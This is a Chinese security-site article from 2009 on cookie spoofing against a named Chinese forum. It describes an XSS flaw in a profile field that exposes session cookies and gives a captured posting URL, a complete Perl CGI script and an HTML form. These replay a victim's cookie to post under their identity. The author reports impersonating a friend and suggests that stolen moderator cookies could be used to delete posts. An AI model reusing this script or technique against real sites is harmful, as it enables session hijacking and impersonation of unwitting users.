首页 网络安全 安全学院 查看内容

Cookie欺骗之冒名发贴

2009-2-4 04:56 768 0

摘要: by [email protected] welcome to C4 Security Team(WWW.China4lert.ORG)   welcome to my ho...
关键词: nbsp content text cookie title bbs 脚本 key type 测试

by [email protected] welcome to C4 Security Team(WWW.China4lert.ORG)   welcome to my homepage http://go3.163.com/superdao 感谢网友1d帮助测试!   有许多网友说跨站脚本执行漏洞没有什么价值,今天我以中国最大的即时通讯站点为例,经过观察发现个人资料栏里可以嵌入脚本,如访问下列链接: http://bbs.******.com/cgi-bin/liuyan/bbs_ly_edit?Plogin_name=6595692 可以发现你的cookie资料。skey=D55KnKpYUm; uin=o6884**,最后就*号代替了。   我就考虑了怎么利用他来冒充别人发贴子,讨厌就讨厌在这个站点要经验值>=3才能发帖,气的我只吐血,我的经验值是-5,只能换个qq上去了,害的我等了6分钟才能进行测试。   进入论坛,随便找个电脑-安全版块进行测试。   找到发贴的连接,打开他的原文件,改成get 方式和绝对路径,存盘,用自己的页面随便提交了帖子。抓到如下的资料, http://bbs.******.com/cgi-bin/bbs/bbs_post_submit?title=%B4%F3%BC%D2%BA%C3%B0%A1&content=&content1=&content2=&icon_id=11&sign=1&text=%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1%B4%F3%BC%D2%BA%C3%B0%A1&type=a&messtype=&back=11&groupid=102%3A10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club=   转换一下编码方式,看的清楚点。   变成如下:   http://bbs.******.com/cgi-bin/bbs/bbs_post_submit?title=大家好啊&content=&content1=&content2=&icon_id=11&sign=1&text=大家好啊大家好啊大家好啊大家好啊&type=a&messtype=&back=11&groupid=102:10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club=   老用这种方式提交不方便啊,就写了个简单的perl socket脚本如下 --------------------------------------------------------------------- #!/usr/bin/perl -- use Socket; ################################################ #    DO NOT EDIT ANYTHING BEYOND THIS LINE     # ################################################ #push (@INC,"../perl-lib"); #require 'cgi-lib.pl'; &ReadParse(*form_data); $title = $form_data{'title'}; $text = $form_data{'text'}; $cookie = $form_data{'cookie'}; $host = "bbs.tencent.com"; $port = 80;   $req = "GET /cgi-bin/bbs/bbs_post_submit?title=$title&content=&content1=&content2=&icon_id=11&sign=1&text=$text&type=a&messtype=&back=11&groupid=102:10057&messageid=&replymsgid=&tbegnum=0&cbegnum=&path=&st=&sc=&club= HTTP/1.1\r\n".        "Host: $host\r\n".        "Accept: */*\r\n".        "Cookie: $cookie\n\n"; @re =sendraw($req);   print "Content-type: text/html\n\n"; print "@re\n";   sub sendraw {     my ($req) = @_;     my $target;     $target = inet_aton($host) || die("inet_aton problems");     socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");     if(connect(S,pack "SnA4x8",2,$port,$target)){         select(S);          $| = 1;          print $req;          my @res = <S>;         select(STDOUT);         close(S);          return @res;     }     else {         die("Can't connect...\n");     } }   # ReadParse # Reads in GET or POST data, converts it to unescaped text, and puts # one key=value in each member of the list "@in" # Also creates key/value pairs in %in, using '\0' to separate multiple # selections   # If a variable-glob parameter (e.g., *cgi_input) is passed to ReadParse, # information is stored there, rather than in $in, @in, and %in.   sub ReadParse {     local (*in) = @_ if @_;     local ($i, $loc, $key, $val);     # Read in text   if ($ENV{'REQUEST_METHOD'} eq "GET") {     $in = $ENV{'QUERY_STRING'};   } elsif ($ENV{'REQUEST_METHOD'} eq "POST") {     read(STDIN,$in,$ENV{'CONTENT_LENGTH'});   }     @in = split(/&/,$in);     foreach $i (0 .. $#in) {     # Convert plus's to spaces     $in[$i] =~ s/\+/ /g;       # Split into key and value.     ($key, $val) = split(/=/,$in[$i],2); # splits on the first =.       # Convert %XX from hex numbers to alphanumeric     $key =~ s/%(..)/pack("c",hex($1))/ge;     $val =~ s/%(..)/pack("c",hex($1))/ge;       # Associate key and value     $in{$key} .= "\0" if (defined($in{$key})); # \0 is the multiple separator     $in{$key} .= $val;     }     return 1; # just for fun }   ---------------------------------------------------------------------- 客户段就用下面的了 《form name="dform" action="http://www.xxxxxx.net/cgi-bin/tencent.cgi" method="post" 》 title:《input type="text" name="title" size="10"》 《br》 text: 《input type="text" name="text" size="10"> 《br》 cookie:《input type="text" name="cookie" size="10"》 《br》 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" value="go):--"> 《br》《br》 《/form》   没办法,就用《》代替,ie要把txt 文件认为是html的。   --------------------------------------------------------------------------------------- 我先用我的cookie测试发帖了,成功通过。于是马上登陆qq站点。拉了个好友1d帮助测试,结果成功的冒充1d发了帖子。 --------------------------------------------------------------------------------------- 后话: 既然可以冒充人发帖子,想来冒充斑竹删帖子也不会很难吧,当然前提得要截获了斑竹的cookie,具体截获cookie部分请参考analysist的文章 跨站脚本执行漏洞详解以及跨站脚本执行漏洞详解(续)。   注意:商业转载请联系WWW.China4lert.ORG
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部